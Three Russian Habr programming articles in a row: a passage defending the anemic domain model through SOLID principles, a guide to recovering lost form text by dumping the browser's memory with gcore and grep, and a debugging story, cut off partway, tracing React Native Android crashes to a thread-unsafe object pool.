вопросе применимости того или иного шаблона. Архитектурные решения, неприменимые в одной ситуации, могут оказаться разумным выбором в другой, однако, если решение признано анти-шаблоном, оно может быть отвергнуто без обсуждения, даже если на самом деле оно вполне подходило для решаемой задачи. Я убежден, что одним из таких незаслуженно отвергаемых анти-шаблонов является Анемичная модель предметной области (АМПО, Anaemic Domain Model), описанная Мартином Фаулером [1] и Эриком Эвансом [2]. Оба автора описывают этот шаблон как неспособность смоделировать предметную область в объектно-ориентированном стиле, из-за чего бизнес-логика описывается в процедурном стиле. Такой подход противопоставляется Богатой модели предметной области (БМПО, Rich Domain Model) [1], [20] — в ней классы, представляющие сущности предметной области, содержат в себе и данные, и всю бизнес-логику. Да, анемичная модель может быть неудачным выбором для некоторых систем, но совершенно не факт, что то же самое справедливо для любых систем. В этой статье я рассматриваю аргументы, выдвигаемые против анемичной модели, и обосновываю, почему в ряде сценариев АМПО выглядит разумным выбором с точки зрения соответствия принципам SOLID, сформулированным Робертом Мартином ([3], [4]), — принципам, в которых заключены рекомендации по достижению баланса между простотой, масштабируемостью и надежностью при разработке ПО. Решая гипотетическую проблему и сравнивая анемичную и богатую модели, я намерен показать, что АМПО лучше соответствует приципам SOLID. Тем самым я хочу оспорить категоричное мнение об этом подходе, навязанное авторитетами, и показать, что использование АМПО — на самом деле, годное архитектурное решение. Почему анемичную модель предметной области считают анти-шаблоном? ----------------------------------------------------------------- Фаулер [1] и Эванс [2] описывали АМПО как совокупность классов без поведения, содержащих данные, необходимые для моделирования предметной области. В этих классах практически нет (или нет вовсе) логики по валидации данных на соответствие бизнес-правилам. Вместо этого, бизнес-логика заключена в слое служб, который состоит из типов и функций, обрабатывающих элементы модели в соответствии с бизнес-правилами. Основной аргумент против такого подхода состоит в том, что данные и способы их обработки оказываются разделены, что нарушает один из фундаментальных принципов объектно-ориентированного подхода, т.к. не позволяет модели обеспечивать собственные инварианты. В противоположность этому, хотя БМПО и состоит из того же набора типов, содержащих данные о предметной области, — но вся бизнес-логика также заключена в этих сущностях, будучи реализованной в виде методов классов. Таким образом, БМПО хорошо согласуется с принципами инкапсуляции и сокрытия информации. Как было отмечено Майклом Скоттом в [9]: «Благодаря инкапсуляции, разработчики могут объединять данные и операции по их обработке в одном месте, а также скрывать ненужные детали от пользователей обобщенной модели». В БМПО слой служб чрезвычайно тонок, а иногда и вовсе отсутствует [20], и все правила, относящиеся к предметной области, реализуются посредством модели. Тем самым утверждается, что сущности предметной области способны полностью самостоятельно обеспечивать свои инварианты, что делает такую модель полноценной с точки зрения объектно-ориентированного подхода. Не нужно забывать, однако, что способность модели обеспечивать выполнение определенных ограничений, налагаемых на данные, — это лишь одно из множества свойств, которыми должна обладать система. Пусть АМПО жертвует возможностью валидации на уровне отдельных бизнес-сущностей, но взамен она дает невероятную гибкость и простоту поддержки системы в целом, благодаря тому, что реализация логики вынесена в узкоспециализированные классы, а доступ к ним осуществляется через интерфейсы. Эти преимущества имеют особенно большое значение в языках со статической типизацией, таких как Java или C# (в которых поведение класса не может быть изменено во время исполнения программы), т.к. улучшают тестируемость системы путем введения явных «швов» ([10], [11]) с целью устранения чрезмерной связанности. Простой пример -------------- Давайте представим серверную часть интернет-магазина, где клиент может как покупать товары, так и выставлять на продажу товары для других клиентов со всего земного шара. Приобретение товара приводит к уменьшению средств на счету покупателя. Подумаем, как можно реализовать процесс размещения клиентом заказа на приобретение товара. Согласно требованиям, клиент может разместить заказ, если у него а) достаточно средств на счету, и б) товар доступен в регионе клиента. При использовании БМПО, класс *Customer* будет описывать сущность «Клиент»; он будет включать все свойства клиента и такие методы как *PurchaseItem(Item item)* (Купить товар). Аналогично, классы *Item* и *Order* представляют модели предметной области, описывающие сущности Товар и Заказ, соответственно. Реализация класса *Customer* (на псевдо-C#) может быть примерно такой: ``` /*** КОД С ИСПОЛЬЗОВАНИЕ БМПО ***/ class Customer : DomainEntity // Базовый класс, предоставляющий CRUD-операции { // Опускаем объявление закрытых членов класса public bool IsItemPurchasable(Item item) { bool shippable = item.ShipsToRegion(this.Region); return this.Funds >= item.Cost && shippable; } public void PurchaseItem(Item item) { if (IsItemPurchasable(item)) { Order order = new Order(this, item); order.Update(); this.Funds -= item.Cost; this.Update(); } } } /*** КОНЕЦ КОДА С ИСПОЛЬЗОВАНИЕ БМПО ***/ ``` Сущности предметной области реализуются с использованием шаблона Active Record [17], в котором используются методы Create/Read/Update/Delete (реализованные на уровне фреймворка или базового класса), позволяющие изменять записи в слое хранения данных (например, в базе данных). Предполагается, что метод *PurchaseItem* вызывается в рамках транзакции, совершаемой над хранилищем данных и управляемой извне (например, она может открываться в обработчике HTTP-запроса, который извлекает информацию о клиенте и товаре непосредственно из переданных в запросе параметров). Получается, что в нашей БМПО роль сущности «Клиент» состоит 1) в представлении модели данных, 2) реализации бизнес-правил, 3) создании сущности «Заказ» для совершения покупки и 4) взаимодействии со слоем хранения данных посредством методов, определенных для Active Record. Воистину, «богатству» такой модели позавидовал бы царь Крез, а мы ведь рассматривали довольно простой вариант использования. Следующий пример иллюстрирует, как та же логика могла бы быть выражена средствами АМПО, в тех же условиях: ``` /*** КОД С ИСПОЛЬЗОВАНИЕМ АМПО ***/ class Customer { /* Some public properties */ } class Item { /* Some public properties */ } class IsItemPurchasableService : IIsItemPurchasableService { IItemShippingRegionService shipsToRegionService; public bool IsItemPurchasable(Customer customer, Item item) { bool shippable = shipsToRegionService.ShipsToRegion(item); return customer.Funds >= item.Cost && shippable; } } class PurchaseService : IPurchaseService { ICustomerRepository customers; IOrderFactory orderFactory; IOrderRepository orders; IIsItemPurchasableService isItemPurchasableService; // Конкретные экземпляры инициализируются в конструкторе public void PurchaseItem(Customer customer, Item item) { if (isItemPurchasableService.IsItemPurchasable(customer, item)) { Order order = orderFactory.CreateOrder(customer, item); orders.Insert(order); customer.Balance -= item.Cost; customers.Update(customer); } } } /*** КОНЕЦ КОДА С ИСПОЛЬЗОВАНИЕМ АМПО ***/ ``` Сравнение примеров реализации с точки зрения соответствия принципам SOLID ------------------------------------------------------------------------- На первый взгляд, АМПО явно проигрывает БМПО. В ее реализации использовано больше классов, а логика размазана по двум доменным службам (*IPurchaseService* и *IItemPurchasableService*) и ряду служб приложения (*IOrderFactory*, *ICustomerRepository* и *IOrderRepository*), вместо того чтобы располагаться в пределах модели предметной области. Классы предметной области теперь не содержат никакого поведения, а всего лишь хранят данные и допускают изменение своего состояния вне рамок наложенных ограничений (и — о ужас! — утрачивают способность обеспечивать собственные инварианты). Учитывая все эти явные недостатки, как вообще можно рассматривать такую модель как конкурента куда более объектно-ориентированной БМПО? Причины, по которым АМПО является превосходным выбором для данного сценария, проистекают из рассмотрения принципов SOLID и их наложения на обе рассматриваемые архитектуры [12]. «S» означает «Принцип единственной ответственности» (Single Responsibility Pronciple, [13]), который гласит, что класс должен делать только что-то одно — но делать это хорошо. В частности, класс должен реализовывать лишь одну абстракцию. «O» — «Принцип открытости/закрытости» (Open/Closed Principle, [14]), постулат о том, что класс должен быть «открытым для расширения, но закрытым для изменения». Это означает, что при разработке класса надо максимально стремиться к тому, чтобы реализацию не пришлось изменять в будущем, тем самым сводя к минимуму последствия вносимых изменений. Казалось бы, класс *Customer* в БМПО реализует единственную абстракцию «Клиент», но на самом деле этот класс отвечает за множество вещей. Этот класс моделирует *и* данные, *и* логику в рамках одной и той же абстракции, несмотря на то, что бизнес-логика имеет обыкновение меняться куда чаще, чем структура данных. Этот же класс создает и инициализирует сущности «Заказ» в момент совершения покупки, и даже содержит логику, определяющую, может ли клиент совершить покупку. А предоставляя базовые CRUD-операции, определенные в базовом классе, сущность предметной области «Клиент» оказывается еще и связанной с той моделью хранилища данных, которая поддерживается базовым классом. Стоило нам перечислить все эти обязанности, как стало очевидным, что сущность *Customer* в БМПО являет собой пример слабого разделения ответственности. Анемичная модель наоборот разделяет зоны ответственности таким образом, что каждый компонент представляет единственную абстракцию. Данные из предметной области представлены в виде «плоских» структур данных [18], тогда как бизнес-правила и чисто инфраструктурные задачи (сохранение, создание новых экземпляров объектов и т.п.) заключены в отдельных службах (и доступны посредством абстрактных интерфейсов). Как следствие, связанность классов уменьшается. Сравнение гибкости решений на базе богатой и анемичной моделей предметной области --------------------------------------------------------------------------------- Рассмотрим примеры сценариев, при которых нам пришлось бы изменять класс *Customer* в БМПО. * Необходимо добавить новое поле (или изменить тип данных существующего). * В конструктор класса *Order* необходимо передать дополнительный параметр. * Бизнес-логика, относящаяся к покупке товара, усложнилась. * Возникла необходимость сохранения данных в альтернативное хранилище, которое не поддерживается нашим гипотетическим базовым классом DomainEntity. Теперь рассмотрим сценарии, в которых нам необходимо изменить типы, описанные в АМПО. Классы бизнес-сущностей, чье предназначение состоит в моделировании предметной области, подлежат изменению тогда и только тогда, когда изменяются требования к составу данных. В случае усложнения правил, по которым определяется возможность приобретения того или иного товара (например, для товара указывается минимально допустимый «рейтинг доверия» клиента, которому этот товар может быть продан), изменению подлежит только реализация *IIsItemPurchasableService*, в то время как при использовании БМПО нам пришлось бы соответствующим образом изменять класс *Customer*. Если меняются требования к хранилищу данных — в АМПО задача решается путем передачи в *PurchaseService* из вышестоящего класса служб приложения новой реализации существующего интерфейса репозитория [17], [19], не требуя модификации существующего кода; в БМПО так легко не отделаться, модификация базового класса затронет все классы бизнес-сущностей, унаследованных от него. В случае, когда для создания экземпляра класса *Order* необходимо передать дополнительный параметр, реализация *IOrderFactory* может оказаться в состоянии обеспечить это изменение, не оказывая влияния на *PurchaseService*. В анемичной модели у каждого класса единственная ответственность, и вносить изменения в класс придется только при изменении соответствующего требования в предметной области (или связанной инфраструктуре). А сейчас представим, что для реализации нового бизнес-требования мы должны обеспечить возможность возврата средств, если клиент не удовлетворен покупкой. В богатой модели это можно было бы реализовать путем добавления метода *RefundItem* к сущности «Клиент», аргументируя это тем, что вся логика, относящаяся к клиенту, оказывается заключенной в сущности *Customer*. Однако процедура возврата денежных средств сильно отличается от процедуры совершения покупки, ответственность за которую ранее была возложена на класс *Customer*, и в результате мы получаем еще большее смешение ответственностей в пределах одного типа. Выходит, в классах богатой модели могут накапливаться слабо связанные элементы бизнес-логики, повышая сложность их структуры. В анемичной модели механизм возврата денежных средств можно реализовать путем создания нового класса *RefundService*, который будет реализовывать только логику, непосредственно относящуюся к возвратам. Этот класс может зависеть от нескольких других абстракций (т.е. интерфейсов других доменных и инфраструктурных служб), необходимых для выполнения им своих обязанностей. Обращение к методам класса *RefundService* может происходить из вышележащих уровней (в ответ на запрос об осуществлении возврата денежных средств), и выходит, что реализацию нового сценария удалось выполнить безо всякого влияния на ранее разработанную функциональность. В рассмотренном примере проблема закрепления за одним классом не связанных между собой ответственностей, с которой мы столкнулись в БМПО, эффективно решается в анемичной модели при помощи букв I и D из аббревиатуры SOLID. Это, я напомню, «Принцип разделения интерфейса» (Interface Segregation Principle, [15]) и «Принцип инверсии зависимостей» (Dependency Inversion Principle, [16]). Они утверждают, что интерфейсы должны представлять собой наборы сильно сцепленных методов, и что интерфейсы должны использоваться для соединения частей системы воедино (в случае АМПО — соединение служб доменного слоя между собой). Следование принципу разделения интерфейса, как правило, дает в результате небольшие, узкоспециализированные интерфейсы — такие как *IItemShippingRegionService* и *IIsItemPurchasableService* из нашего примера, или интерфейс абстрактного репозитория. Принцип инверсии зависимостей заставляет нас опираться на эти интерфейсы, чтобы одна служба не зависела от деталей реализации другой. Анемичная модель предметной области лучше поддерживает автоматизированное тестирование -------------------------------------------------------------------------------------- Более гибкая и податливая структура приложения, а также следование вышеупомянутым принципам, позволяют анемичной модели проявить свои преимущества над БМПО в упрощении автоматизированного тестирования. Сильно сцепленные, но слабо связанные между собой компоненты общаются посредством интерфейсов и собираются воедино посредством внедрения зависимостей, что позволяет без особого труда подменять зависимости «пустышками», mock-объектами. Отсюда, в АМПО несложно реализовывать такие сценарии для автоматизированного тестирования, которые было бы гораздо труднее реализовать в рамках БМПО, тем самым улучшается простота поддержки автоматизированных тестов. При снижении «стоимости» автоматизированных тестов разработчики более охотно создают и поддерживают их в актуальном состоянии. В качестве иллюстрации, попробуем разработать модульный тест для метода *IsItemPurchasable*. Согласно предъявленным требованиям, товар считается доступным для покупки, если у клиента достаточно средств на счету, и он находится в регионе, куда этот товар может быть доставлен. Положим, мы пишем тест, проверяющий, что если у клиента достаточно средств на счету, но он не находится в регионе, куда осуществляется доставка данного товара, то этот товар недоступен для покупки. В БМПО такой тест, вероятно, включал бы создание экземпляров Клиент (*Customer*) и Товар (*Item*), настройку Клиента таким образом, чтобы средства на его счету превышали стоимость Товара, и чтобы его регион не входил в перечень регионов, куда этот товар доставляется. После чего мы должны были бы убедиться, что *customer.IsItemPurchasable(item)* возвращает значение *false*. Однако метод *IsItemPurchasable* зависит от деталей реализации метода *ShipsToRegion* класса *Item*. Изменение бизнес-логики, относящейся к товару, приведет к изменению результатов этого теста. Такой эффект нежелателен, так как данный тест должен проверять исключительно логику, заключенную в классе *Customer*, а логика метода *ShipsToRegion*, заключенная в сущности «Товар», должна покрываться отдельным тестом. Поскольку бизнес-логика заключена в сущностях, описывающих предметную область и предоставляющих открытый интерфейс для доступа к заключенной в них логике, классы оказываются сильно связанными, что приводит к лавинообразному эффекту при внесении изменений, из-за чего автоматизированные тесты становятся хрупкими. С другой стороны, в АМПО логика метода *IsItemPurchasable* вынесена в отдельную специализированную службу, которая зависит от абстрактных интерфейсов (метод *IItemShippingRegionService.ShipsToRegion*). Для рассматриваемого теста мы можем попросту создать заглушку для *IItemShippingRegionService*, в которой будет реализован метод *ShipsToRegion*, всегда возвращающий *false*. Разделив бизнес-логику по изолированным модулям, мы защитили каждую часть от изменений деталей реализации в других частях. На практике это означает, что небольшое изменение логики скорее всего приведет к «падению» лишь тех тестов, которые непосредственно проверяют поведение того кода, в который были внесены изменения, что можно использовать для проверки правильности нашего представления об изменяемом коде. Рефакторинг БМПО с целью соблюдения принципов SOLID приводит к «анемии» модели ------------------------------------------------------------------------------ Сторонники архитектуры, использующей БМПО, могут возразить, что описанный гипотетический пример не соответствует «истинной» богатой модели. Они скажут, что в правильно реализованной богатой модели нельзя смешивать сущности предметной области с задачами по их записи в хранилище — вместо этого предпочтительнее использовать объекты передачи данных (DTO, Data Transfer Object, [17], [18]), посредством которых происходит обмен со слоем хранения данных. Они разнесут в пух и прах идею прямого вызова конструктора класса *Order* непосредственно из логики класса *Customer* — разумеется, ни в одной вменяемой реализации сущности предметной области не будут вызывать конструктор напрямую, здравый смысл заставляет использовать фабрику [5]! Но по мне, это выглядит как попытка применять мощь принципов SOLID к инфраструктурным службам, при полном их игнорировании в приложении к модели предметной области. Если нашу гипотетическую БМПО рефакторить для соответствия принципам SOLID, будут выделены более мелкие сущности: из сущности Клиент могут быть выделены сущности «Покупка клиента» (*CustomerPurchase*) и «Возврат ден.средств клиента» (*CustomerRefund*). Но может статься, что и новые модели будут по-прежнему зависеть от элементарных бизнес-правил, изменяемых независимо друг от друга, а от них, в свою очередь, будут зависеть другие сущности. Во избежание дублирования логики и сильной связанности классов эти правила придется и дальше рефакторить, выделяя их в отдельные модули, доступ к которым осуществляется посредством интерфейсов. В итоге, богатая модель, отрефакторенная до полного соответствия принципам SOLID, стремится к состоянию анемичной модели! Заключение ---------- Исследовав реализацию простого примера, мы пришли к выводу, что анемичная модель предметной области ближе соответствует принципам SOLID, чем богатая модель. Мы увидели преимущества, которые дает соответствие принципам SOLID: слабую связанность и сильную сцепленность, повышающие гибкость архитектуры приложения. Свидетельством возросшей гибкости явилось улучшение тестируемости приложения из-за легкости реализации «заглушек» для зависимостей. Рассматривая пути достижения этих же качеств в рамках БМПО, мы обнаружили, что рефакторинг богатой модели закономерно приводит к ее «анемичности». Таким образом, если соответствие принципам SOLID является признаком хорошо структурированного объектно-ориентированного приложения, а анемичная модель ближе соответствует этим принципам, чем богатая модель, то анемичную модель не следует считать анти-шаблоном; ее надлежит рассматривать как жизнеспособный вариант архитектуры при моделировании предметной области. Ссылки ------ **Развернуть**[1] Fowler, Martin. Anaemic Domain Model. <http://www.martinfowler.com/bliki/AnemicDomainModel.html>, 2003. [2] Evans, Eric. Domain-driven design: tackling complexity in the heart of software. Addison-Wesley Professional, 2004. [3] Martin, Robert C. The Principles of Object-Oriented Design. <http://butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod>, 2005. [4] Martin, Robert C. Design principles and design patterns. Object Mentor, 2000: 1-34. [5] Erich, Gamma, et al. Design patterns: elements of reusable object-oriented software. Addison Wesley Publishing Company, 1994. [6] Wolfgang, Pree. Design patterns for object-oriented software development. Addison-Wesley, 1994. [7] Rising, Linda. The patterns handbook: techniques, strategies, and applications. Vol. 13. Cambridge University Press, 1998. [8] Budgen, David. Software design. Pearson Education, 2003. [9] Scott, Michael L. Programming language pragmatics. Morgan Kaufmann, 2000. [10] Hevery, Miško. Writing Testable Code. <http://googletesting.blogspot.co.uk/2008/08/by-miko-hevery-so-you-decided-to.html>, Google Testing Blog, 2008. [11] Osherove, Roy. The Art of Unit Testing: With Examples in. Net. Manning Publications Co., 2009. [12] Martin, Robert C. Agile software development: principles, patterns, and practices. Prentice Hall PTR, 2003. [13] Martin, Robert C. SRP: The Single Responsibility Principle. <http://www.objectmentor.com/resources/articles/srp.pdf>, Object Mentor, 1996. [14] Martin, Robert C. The Open-Closed Principle. <http://www.objectmentor.com/resources/articles/ocp.pdf>, Object Mentor, 1996. [15] Martin, Robert C. The Interface Segregation Principle. <http://www.objectmentor.com/resources/articles/isp.pdf>, Object Mentor, 1996. [16] Martin, Robert C. The Dependency Inversion Principle, <http://www.objectmentor.com/resources/articles/dip.pdf>, Object Mentor, 1996. [17] Fowler, Martin. Patterns of enterprise application architecture. Addison-Wesley Longman Publishing Co., Inc., 2002. [18] Fowler, Martin. Data Transfer Object. <http://martinfowler.com/eaaCatalog/dataTransferObject.html>, Martin Fowler site, 2002. [19] Fowler, Martin. Repository. <http://martinfowler.com/eaaCatalog/repository.html>, Martin Fowler site, 2002. [20] Fowler, Martin. Domain Model. <http://martinfowler.com/eaaCatalog/domainModel.html>, Martin Fowler site, 2002.
https://habr.com/ru/post/346016/
null
ru
null
# Как за одну минуту восстановить текст после неудачной отправки веб-формы Бывало ли когда-нибудь так, что вы набирали в браузере длинный и интересный текст, внимательно вычитывали его, и тут, буквально через мгновение, понимали, что при обращении к сайту произошла ошибка, а ваш текст в форме был стёрт? В основном такое бывает из-за невнимательности разработчиков сайтов (под разработчиками я в данном случае подразумеваю не только программиста, который мог не знать о нужном способе, но и, например, менеджера, который посчитал, что тратить на это время слишком нецелесообразно): современные веб-технологии (например, [Web Storage](http://www.w3.org/TR/webstorage/)) позволяют сохранять и восстанавливать данные (в том числе данные форм) при почти любых обстоятельствах — вплоть до случайного закрытия браузера. И, тем не менее, вы писали длинный текст именно там, где ничего для сохранения данных формы не сделано. Можно ли теперь как-то восстановить данные, если вы не можете скопировать текст из формы и не можете отправить POST-запрос повторно? **Не закрывайте браузер!** Решение есть ============ Если дело происходит в Linux, то вы можете воспользоваться потрясающе удобным способом сделать дамп области памяти, которую использует браузер. Впервые я прочитал о применении этого метода для восстановления данных, потерянных в браузере, на [superuser.com](http://superuser.com/) — одном из сайтов StackExchange. Это был ответ пользователя с именем [Joey Adams](http://superuser.com/users/17424/joey-adams) на вопрос [«How do I recover a form in Firefox \*without\* installing a plugin?»](http://superuser.com/questions/236390/how-do-i-recover-a-form-in-firefox-without-installing-a-plugin). Кстати, работает этот способ не только в Linux. Для Windows, спасибо [Lord\_D](https://habrahabr.ru/users/lord_d/): > Дампы очень просто делаются Process Explorer'ом. Для консоли есть PMDump. А изучать дамп можно каким-нибудь HEX-редактором (к примеру, из бесплатных — HxD) или тем же grep. Для Mac, спасибо [BeLove](https://habrahabr.ru/users/belove/): ``` lldb --attach-pid PID ``` Итак, начнём. Шаг 1 ----- Убедитесь, что у вас установлен [gdb](http://www.gnu.org/software/gdb/) (GNU Debugger). Вам понадобится утилита gcore, которая может делать дамп оперативной памяти, которую использует запущенный процесс с определённым PID. Шаг 2 ----- Вы ведь не закрывали браузер? В таком случае выясните номер процесса: `ps -e | grep firefox` Теперь запустите gcore, чтобы создать дамп памяти для этого процесса: `gcore номер_процесса` Если ptrace при попытке использовать gcore выдаёт ошибку (`Operation not permitted`) — это означает, что в вашей системе процессы не могут обращаться к памяти других процессов, не являясь их дочерними процессами (даже при совпадении UID). Например, такую ошибку вы [увидите в последних версиях Ubuntu](http://askubuntu.com/questions/41629/after-upgrade-gdb-wont-attach-to-process), если вы не меняли соответствующее значение в файле `/proc/sys/kernel/yama/ptrace_scope`. Вообще говоря, в данном случае совершенно необязательно что-то перенастраивать — вы можете просто запустить gcore от имени суперпользователя. Шаг 3 ----- В текущем каталоге при запуске gcore появляется файл core.номер\_процесса (например, core.20727). Кстати, учитывайте, что размер файла может быть очень большим. Например, у меня он сейчас получился 934 MiB. Теперь попробуйте с помощью grep проверить, есть ли в дампе нужные данные. Например, если в тексте вы упоминали браузер Safari, то вы можете искать по слову «Safari»: `grep 'Safari' core.20727` Если вы видите сообщение о том, что в файле есть совпадение (`Binary file core.20727 matches`) — это очень хорошая новость, переходите к четвёртому шагу. Если совпадения не нашлось — вспомните, что ещё было в тексте, и попробуйте указать что-нибудь другое. Шаг 4 ----- Теперь остаётся извлечь из двоичного файла нужные вам куски с текстом. Сделать это можно вот так: `grep -B 20 -A 20 -a 'Safari' core.20727 > /tmp/out` В данном случае вы сообщаете grep, что с данным двоичным файлом требуется работать как с текстом, а также что для каждого совпадения требуется вывести 20 предшествующих и 20 последующих строк. Шаг 5 ----- Теперь откройте получившийся файл и найдите в нём свой текст. Например, с помощью `less /tmp/out`: ![](https://habrastorage.org/r/w1560/storage2/9d5/53c/55e/9d553c55e8d2ca60b56bb5a61791e9ca.png) Всем приятного вечера. И не забывайте про Ctrl + S. :)
https://habr.com/ru/post/169193/
null
ru
null
# Отладка бага, который не воспроизводится 10 октября 2018 года наша команда выпустила новую версию приложения на React Native. Мы рады и гордимся этим. Но ужас-то какой: через несколько часов внезапно увеличивается количество сбоев под Android. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/dd2/180/f81/dd2180f81a7f983658e282238103e76f.png) *10 000 сбоев под Android* Наш инструмент мониторинга сбоев [Sentry](https://sentry.io/) сходит с ума. Во всех случаях мы видим ошибку типа `JSApplicationIllegalArgumentException Error while updating property 'left' in shadow node of type: RCTView"`. В React Native это обычно происходит, если задать свойство с неправильным типом. Но почему ошибка не проявилась при тестировании? У нас каждый разработчик тщательно тестирует новые релизы на нескольких устройствах. Также ошибки кажутся довольно случайными, они как будто выпадают на любой комбинации свойств и типа shadow ноды. Например, вот первые три: * `Error while updating property 'paddingTop' in shadow node of type: RCTView` * `Error while updating property 'height' in shadow node of type: RCTImageView` * `Error while updating property 'fill' of a view managed by: RNSVGPath` Похоже, ошибка происходит на любом устройстве и в любой версии Android, судя по отчету Sentry. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/35e/814/4c0/35e8144c07f6042fb6877101b7dd94d0.png) *Большинство сбоев под Android 8.0.0 падает, но это согласуется с нашей пользовательской базой* Давайте воспроизведём! ====================== Итак, первый шаг перед исправлением бага — воспроизвести его, верно? К счастью, благодаря логам Sentry, мы можем узнать, что делают пользователи перед появлением сбоя. Та-а-ак, посмотрим… ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/5d7/eca/93b/5d7eca93b0cbb558e48f7e12fcd2ad78.png) Хм, в подавляющем большинстве случае пользователи просто открывают приложение и — бум, происходит сбой. Хорошо, попробуем повторить. Устанавливаем приложение на шести устройствах Android, открываем его и выходим несколько раз. Нет сбоя! Тем более невозможно воспроизвести его локально в dev-режиме. Ладно, это кажется бессмысленным. Сбои всё равно довольно случайны и происходят в 10% случаев. Похоже, что у вас шанс 1 из 10, что приложение упадёт при запуске. Анализ трассировки стека ======================== Чтобы воспроизвести этот сбой, давайте попробуем понять, откуда он берётся… ![](https://habrastorage.org/getpro/habr/post_images/7ee/d29/9d4/7eed299d4cbbb01cc05da5716e8068e4.gif) Как упоминалось ранее, у нас несколько различных ошибок. И у всех похожие, но немного разные трассировки. Хорошо, возьмём первую из них: ``` java.lang.ArrayIndexOutOfBoundsException: length=10; index=-1 at android.support.v4.util.Pools$SimplePool.release(Pools.java:116) at com.facebook.react.bridge.DynamicFromMap.recycle(DynamicFromMap.java:40) at com.facebook.react.uimanager.LayoutShadowNode.setHeight(LayoutShadowNode.java:168) at java.lang.reflect.Method.invoke(Method.java) ... java.lang.reflect.InvocationTargetException: null at java.lang.reflect.Method.invoke(Method.java) ... com.facebook.react.bridge.JSApplicationIllegalArgumentException: Error while updating property 'height' in shadow node of type: RNSVGSvgView at com.facebook.react.uimanager.ViewManagersPropertyCache$PropSetter.updateShadowNodeProp(ViewManagersPropertyCache.java:113) ... ``` Итак, проблема в `android/support/v4/util/Pools.java`. Хм, мы очень глубоко в библиотеке поддержки Android, вряд ли тут можно извлечь какую-то пользу. Найдём другой способ ==================== Другой способ найти основную причину ошибки — проверить новые изменения, внесённые в последний релиз. Особенно те, которые влияют на нативный код Android. Возникают две гипотезы: * Мы обновили [Native Navigation](https://github.com/bamlab/native-navigation), где для каждого экрана используются нативные фрагменты под Android. * Мы обновили [react-native-svg](https://github.com/react-native-community/react-native-svg). Было несколько исключений, связанных с компонентами SVG, но вряд ли дело в этом. На данный момент мы не можем воспроизвести ошибку, поэтому лучшая стратегия: 1. Откатить обратно одну из двух библиотек.Выкатить её для 10% пользователей, что тривиально делается в Play Store.Проверить у нескольких пользователей, сохранился ли сбой. Таким образом мы подтвердим или опровергнем гипотезу. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/4d0/e94/82e/4d0e9482eaaa5f5589559b7cd36189ba.png) Но как выбрать библиотеку для отката? Конечно, можно подбросить монетку, но разве это оптимальный вариант? ![](https://habrastorage.org/getpro/habr/post_images/f38/e3a/eca/f38e3aeca1b051f35988219c2a6f5dc4.gif) Добираемся до сути ================== Давайте более тщательно проанализируем предыдущую трассировку. Возможно, это поможет определиться с библиотекой. ``` /** * Simple (non-synchronized) pool of objects. * * @param The pooled type. */ public static class SimplePool implements Pool { private final Object[] mPool; private int mPoolSize; ... @Override public boolean release(T instance) { if (isInPool(instance)) { throw new IllegalStateException("Already in the pool!"); } if (mPoolSize < mPool.length) { mPool[mPoolSize] = instance; mPoolSize++; return true; } return false; } ``` Здесь произошёл сбой. Ошибка `java.lang.ArrayIndexOutOfBoundsException: length=10; index=-1` означает, что `mPool` — массив размером 10, но `mPoolSize=-1`. Ладно, как получился `mPoolSize=-1`? Кроме метода `recycle` выше, единственным местом изменения `mPoolSize` является метод `acquire` класса `SimplePool`: ``` public T acquire() { if (mPoolSize > 0) { final int lastPooledIndex = mPoolSize - 1; T instance = (T) mPool[lastPooledIndex]; mPool[lastPooledIndex] = null; mPoolSize--; return instance; } return null; } ``` Поэтому единственный способ получить отрицательное значение `mPoolSize` — это уменьшить его при `mPoolSize=0`. Но как это возможно с условием `mPoolSize > 0`? Поставим точки останова в Android Studio и по шагам посмотрим, что происходит при запуске приложения. Я имею в виду, здесь условие `if`, этот код должен нормально работать! Наконец, откровение! ==================== ![](https://habrastorage.org/getpro/habr/post_images/b5f/5e0/937/b5f5e0937bd83e5542cef0ed9fda7186.gif) Смотрите, в `DynamicFromMap` статическая ссылка на `SimplePool`. ``` private static final Pools.SimplePool sPool = new Pools.SimplePool<>(10); ``` После нескольких десятков нажатий кнопки Play с тщательно расставленными точками останова мы видим, что потоки *mqt\_native\_modules* обращаются к функциям `SimplePool.acquire` и `SimplePool.release` с помощью React Native для управления свойствами стиля компонента React (ниже свойство `width` компонента) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/087/606/c79/087606c79d5d261dbc5b09eaed3a729f.png) Но к ним также обращается основной поток *main*! ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/9b9/783/d30/9b9783d300e5b2c872cb1b1438cdd9d7.png) Выше мы видим, что они используются для обновления свойства `fill` в основном потоке, как правило, для компонента `react-native-svg`! И действительно, библиотека `react-native-svg` начала использовать `DynamicFromMap` [только с седьмой версии](https://github.com/react-native-community/react-native-svg/commit/3879c90bd8273ba8b38713b2f39d2bdfd5265665) для улучшения производительности нативных svg-анимаций. И-и-и… функцию можно вызвать из двух потоков, но `DynamicFromMap` не использует `SimplePool` потокобезопасным способом. «Потокобезопасным», говорите? Потокобезопасность, немного теории ================================== В однопоточном JavaScript разработчикам обычно не нужно иметь дело с потокобезопасностью. С другой стороны, Java поддерживает концепцию параллельных или многопоточных программ. Несколько потоков могут выполняться в рамках одной программы и потенциально могут обращаться к общей структуре данных, что порой приводит к неожиданным результатам. Возьмём простой пример: на изображении ниже показано, что потоки A и B параллельно: * считывают целое число; * увеличивают его значение; * возвращают его. ![](https://habrastorage.org/r/w1560/webt/y_/v1/ka/y_v1karkixq1ds_qo_u94qrusdk.png) Поток B потенциально может получить доступ к значению данных до того, как поток A его обновит. Мы ожидали, что два отдельных шага дадут конечное значение `19`. Вместо этого мы можем получить `18`. Такая ситуация, где конечное состояние данных зависит от относительного порядка операций потока, называется состоянием гонки. Проблема в том, что это состояние необязательно возникает всё время. Возможно, в приведённом выше случае у потока B есть другая работа, прежде чем приступить к увеличению значения, что даёт достаточно времени потоку A для обновления значения. Это объясняет случайность и невозможность воспроизвести сбой. Структура данных считается потокобезопасной, если операции могут выполняться одновременно несколькими потоками без риска возникновения состояния гонки. Когда один поток выполняет чтение для определённого элемента данных, другой поток не должен иметь права изменять или удалять этот элемент (это называется атомарностью). В предыдущем примере, если бы циклы обновления были атомарными, условия гонки можно было бы избежать. Поток B будет ждать, пока поток A завершит операцию, и затем начинает сам. В нашем случае может произойти вот что: ======================================= 